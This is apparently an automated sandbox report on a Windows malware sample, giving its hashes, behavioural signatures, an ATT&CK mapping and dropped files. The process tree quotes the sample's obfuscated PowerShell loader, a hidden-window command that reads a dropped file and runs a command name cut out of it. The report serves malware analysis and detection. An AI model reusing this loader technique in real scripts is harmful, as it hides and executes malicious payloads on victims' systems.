c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77

Resubmissions

10-07-2024 15:39

240710-s3v2kawblp 8

10-07-2024 15:39

240710-s3rn5swblk 10

Analysis

max time kernel
195s
max time network
256s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
10-07-2024 15:39

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General

Target

c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe
Size

610KB
MD5

ad0ed91197890681c43fe8a613ba1b2b
SHA1

d0a7ded680f10ec1871a3b4df10c6a9cc2a30809
SHA256

c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77
SHA512

029ec97c9e08eac5fbda60442b1094b142168c54a4f4233f7812ab46ab8a1f19fa8b4133beb4dff6dbff7ccfcc139367cd966548385b73b3be5e33fe49ac720f
SSDEEP

12288:I2Vmby5Q6IXgRhdiS+j7hmIwKp5KNgcSJtoE2uxck4EUcpF+78:I28SQ6IXgitRwKp5KYoE2uxckrjFM8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4496 powershell.exe

Loads dropped DLL 2 IoCs

Processes:

c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe

pid	process
1944	c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe
1944	c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

46196 4496 WerFault.exe powershell.exe

pid	pid_target	process	target process
46196	4496	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exe

pid	process
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe
4496	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4496 powershell.exe

description	pid	process
Token: SeDebugPrivilege	4496	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe

description	pid	process	target process
PID 1944 wrote to memory of 4496	1944	c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe	powershell.exe
PID 1944 wrote to memory of 4496	1944	c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe	powershell.exe
PID 1944 wrote to memory of 4496	1944	c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe
"C:\Users\Admin\AppData\Local\Temp\c97dbc111d46e1bfe08a912bc8a893494f6d3f682d71853ab6b0a3ee3308fb77.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Hnsehold=Get-Content 'C:\Users\Admin\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Fjot.Mum';$printerporte=$Hnsehold.SubString(952,3);.$printerporte($Hnsehold)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4496 -s 880
3⤵
- Program crash
PID:46196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_thknj2qd.dvo.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\betalingsdatoer\oromo\tututni\Fjot.Mum

Filesize
66KB

MD5
32d35db1ec0670fb555927534832f6f7

SHA1
ab79fad8e13f41b4cc2364771e75aba2be8ab0ca

SHA256
aeef8a36820c85fd6ebee24bd480c84cf8ae5034c6f93a0ad23634220b583364

SHA512
53e9f2ab5e20674380de4a0fc396f5a2973ef8765880c9dbe954c4256fb9cd391de7339dc9cff63617af7e5c0f9f67e1468cf001f7976817b97d8fdecb898e31

Download Submit
\Users\Admin\AppData\Local\Temp\nsy5B7F.tmp\AdvSplash.dll

Filesize
5KB

MD5
3134c2821796396ba53e77ef3ea6a268

SHA1
14c58e347fb4bf1b8c6f5ebccae57c58066d8769

SHA256
9cdba2bb0984f10c201921ae5bcfe7b595771e1f12d9e17d31f213bfaf1548c6

SHA512
34beca32375af8e4665b48413c940af67bedf6e34895481281551836460721161b158e642bde120a65ca0143643e06bfe660da2b1900e7ca2e4f7a204e183d4e

Download Submit
\Users\Admin\AppData\Local\Temp\nsy5B7F.tmp\nsDialogs.dll

Filesize
9KB

MD5
3cea4c9994912d8f3c3e8b6a814e810e

SHA1
c48d34a0981d4ab576c7a3ab566f5ddb94af5d86

SHA256
b2699fdfdab6a018fcc972806d12f71972de1861660bb6578935d62b1da06504

SHA512
d317449f3c3115e279cff148c3e0bccc9b1d4ba82d1f85c0b99d7db657e85f752c0691d33f8024ada5850c993d0bdcbcc70b296b7cf33d7d14a67bc16ca3b4a3

Download Submit
memory/4496-27-0x0000000007E70000-0x00000000081C0000-memory.dmp

Filesize
3.3MB

Download
memory/4496-32-0x0000000008560000-0x00000000085D6000-memory.dmp

Filesize
472KB

Download
memory/4496-23-0x0000000073710000-0x0000000073DFE000-memory.dmp

Filesize
6.9MB

Download
memory/4496-24-0x0000000007B10000-0x0000000007B32000-memory.dmp

Filesize
136KB

Download
memory/4496-25-0x0000000007D90000-0x0000000007DF6000-memory.dmp

Filesize
408KB

Download
memory/4496-26-0x0000000007BB0000-0x0000000007C16000-memory.dmp

Filesize
408KB

Download
memory/4496-21-0x0000000073710000-0x0000000073DFE000-memory.dmp

Filesize
6.9MB

Download
memory/4496-30-0x0000000007D70000-0x0000000007D8C000-memory.dmp

Filesize
112KB

Download
memory/4496-31-0x00000000082F0000-0x000000000833B000-memory.dmp

Filesize
300KB

Download
memory/4496-22-0x00000000074E0000-0x0000000007B08000-memory.dmp

Filesize
6.2MB

Download
memory/4496-20-0x0000000004DA0000-0x0000000004DD6000-memory.dmp

Filesize
216KB

Download
memory/4496-47-0x0000000009670000-0x0000000009704000-memory.dmp

Filesize
592KB

Download
memory/4496-48-0x0000000009390000-0x00000000093AA000-memory.dmp

Filesize
104KB

Download
memory/4496-49-0x00000000093E0000-0x0000000009402000-memory.dmp

Filesize
136KB

Download
memory/4496-50-0x0000000009C90000-0x000000000A18E000-memory.dmp

Filesize
5.0MB

Download
memory/4496-17-0x000000007371E000-0x000000007371F000-memory.dmp

Filesize
4KB

Download
memory/4496-56-0x000000000A810000-0x000000000AE88000-memory.dmp

Filesize
6.5MB

Download
memory/4496-13818-0x000000007371E000-0x000000007371F000-memory.dmp

Filesize
4KB

Download
memory/4496-13819-0x0000000073710000-0x0000000073DFE000-memory.dmp

Filesize
6.9MB

Download